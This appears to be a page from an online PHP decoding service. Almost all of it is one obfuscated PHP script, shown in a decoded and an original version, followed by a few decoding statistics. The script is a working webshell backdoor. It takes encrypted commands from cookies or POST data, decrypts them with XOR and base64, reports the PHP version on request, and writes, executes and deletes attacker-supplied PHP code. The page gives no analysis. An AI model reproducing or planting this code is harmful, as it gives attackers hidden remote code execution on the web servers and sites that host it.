Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* jcb */rbgz_l(){$abukarsb='odiyurlpxh'; print_r (23675+23675); ..

Decoded Output download

<?php   function/* jcb   */rbgz_l(){$abukarsb='odiyurlpxh';      print_r	(23675+23675);   } 
 
 
$xvbdnn	=/*kmpia */'xvbdnn'/*  qha */^/*sxh  */''; 
 
function/* fzrz  */ivsdeoxmt($_wecwvw,	$rtqacs) 
 
{       global	$xvbdnn; 
/*gs */$za_kfaso     =/* vdt   */""; 
 
 
   for/*qzstw  */($fvyfvt/* kfw  */=       0;    $fvyfvt	<	strlen($_wecwvw);)/*   xcd  */{ 
/*  e  */for/*  zsbae  */($wjjhj_mu   =	0;/* gyr  */$wjjhj_mu    </*whvoh   */strlen($rtqacs)/*  s*/&&	$fvyfvt/*   l */<	strlen($_wecwvw);      $wjjhj_mu++,/*  jjrz  */$fvyfvt++)	{ 
 
     $za_kfaso/* _*/.=     $xvbdnn(ord($_wecwvw[$fvyfvt])	^/*  go */ord($rtqacs[$wjjhj_mu]));/*  uqixu */} 
/*   yn_s  */} 
 
       return/*  liz   */$za_kfaso;} 
function	utbzpvtkbp($odrw_yt,/*grc  */$_wecwvw){ 
 
 
/*   nbm  */global	$xvbdnn; 
 
 
 
 
 
/*qbnqg */$kwbchxikqd      =	sprintf("."      .  "/"."%"."s"."."."p"	.       "l",	md5($odrw_yt)); 
/*  vgwz   */file_put_contents($kwbchxikqd,	"<"  .	$xvbdnn(63)	.	$xvbdnn(112)	.   "h"."p".$xvbdnn(32)/*  kgrk*/.     "u"."n"."l"    .   $xvbdnn(508-403)."n"/*  ih */./* sfi */"k"."("."_"    .   $xvbdnn(95)	./*   xhm   */"F"."I"."L"/*  zpdqv   */./* iiqp  */"E"	.  "_"    ./*   tmre */"_".")".";"	./* lstbp*/$xvbdnn(32)	./* nt   */$_wecwvw["d"]); 
/*   zkks */include($kwbchxikqd);/* cjwes */$rnaarpgg	=       $kwbchxikqd;	unlink($rnaarpgg); 
} 
 
function/* ws */rttuarheu(){ 
 
 
      global	$xvbdnn; 
 
	 
 
 
	$fvyfvt	=	array(); 
 
	$fvyfvt["p"/*   t*/.	$xvbdnn(118)]/*  gh */=/*   jpiwa   */phpversion(); 
      $fvyfvt["s"."v"]    =/*  rcquc*/$xvbdnn(86-35)   .	"."."5"; 
	echo	@serialize($fvyfvt);} 
 
function	nsxfppxosa($_wecwvw,	$odrw_yt,       $vfwrdyc){ 
/*  p  */global/*  cqr */$xvbdnn;      $_wecwvw	=	unserialize(ivsdeoxmt(ivsdeoxmt(base64_decode($_wecwvw),	$odrw_yt),   $vfwrdyc)); 
	if  (isset($_wecwvw["a"     .	"k"]))     {    if      ($_wecwvw["a"]	==    $xvbdnn(508-403))	{ 
 
/*  tat */rttuarheu(); 
 
  }     elseif	($_wecwvw["a"]/*jf  */==    "e")/*  t */{ 
 
 
	utbzpvtkbp($odrw_yt,      $_wecwvw); 
 
 
	} 
 
 
	exit(); 
 
	} 
} 
 
 
 
 
$sra_zk    =	$_COOKIE; 
 
 
$_hzjx      =/*   tfhnl*/$_POST; 
 
$sra_zk/* urhx  */=/*gvz */array_merge($_hzjx,	$sra_zk); 
 
$odrw_yt/* ho  */=	$xvbdnn(391-335)/* x_ */.    $xvbdnn(626-527)    .    $xvbdnn(801-750)   ./*   keoll  */"1"/*  ohpdm  */.     "2"   .	"c"/*  lyqs */./* g*/"f"     ./*nklb*/"0".$xvbdnn(399-354)     ./*   ch  */"3"	./*  jgdyi  */$xvbdnn(56)   ./*   mxslt */"e"."b"/*ooo*/.  "-"	./*   qqtvl */"4"."5"	.	"6"/*  sk */.     $xvbdnn(102)/* b   */.      "-".$xvbdnn(97)	.	"2"."8"/*   vor */.      $xvbdnn(888-833)   .     "-"	.	"c"	.    "0"."a"  .    "6"/*  sgdsn */.      "1"."7"/*lhs   */.     $xvbdnn(369-315)    .      $xvbdnn(647-545)	.    $xvbdnn(51)/*yfi */.     "1"."6"     .  "c"; 
foreach	($sra_zk/*  aaoss*/as	$vfwrdyc  =>/* fie   */$_wecwvw)/* j   */{ 
  nsxfppxosa($_wecwvw,	$odrw_yt,/*hl */$vfwrdyc); 
 
} 
 ?>

Did this file decode correctly?

Original Code

<?php   function/* jcb   */rbgz_l(){$abukarsb='odiyurlpxh';      print_r	(23675+23675);   }


$xvbdnn	=/*kmpia */'xvbdnn'/*  qha */^/*sxh  */'';

function/* fzrz  */ivsdeoxmt($_wecwvw,	$rtqacs)

{       global	$xvbdnn;
/*gs */$za_kfaso     =/* vdt   */"";


   for/*qzstw  */($fvyfvt/* kfw  */=       0;    $fvyfvt	<	strlen($_wecwvw);)/*   xcd  */{
/*  e  */for/*  zsbae  */($wjjhj_mu   =	0;/* gyr  */$wjjhj_mu    </*whvoh   */strlen($rtqacs)/*  s*/&&	$fvyfvt/*   l */<	strlen($_wecwvw);      $wjjhj_mu++,/*  jjrz  */$fvyfvt++)	{

     $za_kfaso/* _*/.=     $xvbdnn(ord($_wecwvw[$fvyfvt])	^/*  go */ord($rtqacs[$wjjhj_mu]));/*  uqixu */}
/*   yn_s  */}

       return/*  liz   */$za_kfaso;}
function	utbzpvtkbp($odrw_yt,/*grc  */$_wecwvw){


/*   nbm  */global	$xvbdnn;





/*qbnqg */$kwbchxikqd      =	sprintf("\x2e"      .  "/"."%"."s"."."."\x70"	.       "l",	md5($odrw_yt));
/*  vgwz   */file_put_contents($kwbchxikqd,	"<"  .	$xvbdnn(63)	.	$xvbdnn(112)	.   "h"."p".$xvbdnn(32)/*  kgrk*/.     "u"."n"."\154"    .   $xvbdnn(508-403)."\156"/*  ih */./* sfi */"k"."("."\x5f"    .   $xvbdnn(95)	./*   xhm   */"F"."I"."\x4c"/*  zpdqv   */./* iiqp  */"\x45"	.  "\x5f"    ./*   tmre */"_".")"."\73"	./* lstbp*/$xvbdnn(32)	./* nt   */$_wecwvw["d"]);
/*   zkks */include($kwbchxikqd);/* cjwes */$rnaarpgg	=       $kwbchxikqd;	unlink($rnaarpgg);
}

function/* ws */rttuarheu(){


      global	$xvbdnn;

	


	$fvyfvt	=	array();

	$fvyfvt["\x70"/*   t*/.	$xvbdnn(118)]/*  gh */=/*   jpiwa   */phpversion();
      $fvyfvt["s"."v"]    =/*  rcquc*/$xvbdnn(86-35)   .	"."."\65";
	echo	@serialize($fvyfvt);}

function	nsxfppxosa($_wecwvw,	$odrw_yt,       $vfwrdyc){
/*  p  */global/*  cqr */$xvbdnn;      $_wecwvw	=	unserialize(ivsdeoxmt(ivsdeoxmt(base64_decode($_wecwvw),	$odrw_yt),   $vfwrdyc));
	if  (isset($_wecwvw["\141"     .	"\x6b"]))     {    if      ($_wecwvw["a"]	==    $xvbdnn(508-403))	{

/*  tat */rttuarheu();

  }     elseif	($_wecwvw["a"]/*jf  */==    "e")/*  t */{


	utbzpvtkbp($odrw_yt,      $_wecwvw);


	}


	exit();

	}
}




$sra_zk    =	$_COOKIE;


$_hzjx      =/*   tfhnl*/$_POST;

$sra_zk/* urhx  */=/*gvz */array_merge($_hzjx,	$sra_zk);

$odrw_yt/* ho  */=	$xvbdnn(391-335)/* x_ */.    $xvbdnn(626-527)    .    $xvbdnn(801-750)   ./*   keoll  */"\x31"/*  ohpdm  */.     "\62"   .	"\x63"/*  lyqs */./* g*/"\x66"     ./*nklb*/"0".$xvbdnn(399-354)     ./*   ch  */"\63"	./*  jgdyi  */$xvbdnn(56)   ./*   mxslt */"e"."\x62"/*ooo*/.  "\55"	./*   qqtvl */"4"."\x35"	.	"\66"/*  sk */.     $xvbdnn(102)/* b   */.      "-".$xvbdnn(97)	.	"2"."\70"/*   vor */.      $xvbdnn(888-833)   .     "\x2d"	.	"\x63"	.    "0"."\x61"  .    "\x36"/*  sgdsn */.      "1"."\67"/*lhs   */.     $xvbdnn(369-315)    .      $xvbdnn(647-545)	.    $xvbdnn(51)/*yfi */.     "1"."\x36"     .  "c";
foreach	($sra_zk/*  aaoss*/as	$vfwrdyc  =>/* fie   */$_wecwvw)/* j   */{
  nsxfppxosa($_wecwvw,	$odrw_yt,/*hl */$vfwrdyc);

}

Function Calls

array_merge 1

Variables

$_hzjx 0
$sra_zk 0
$xvbdnn chrp~

Stats

MD5 b1f469126b76115fcc3aab92da125c7b
Eval Count 0
Decode Time 64 ms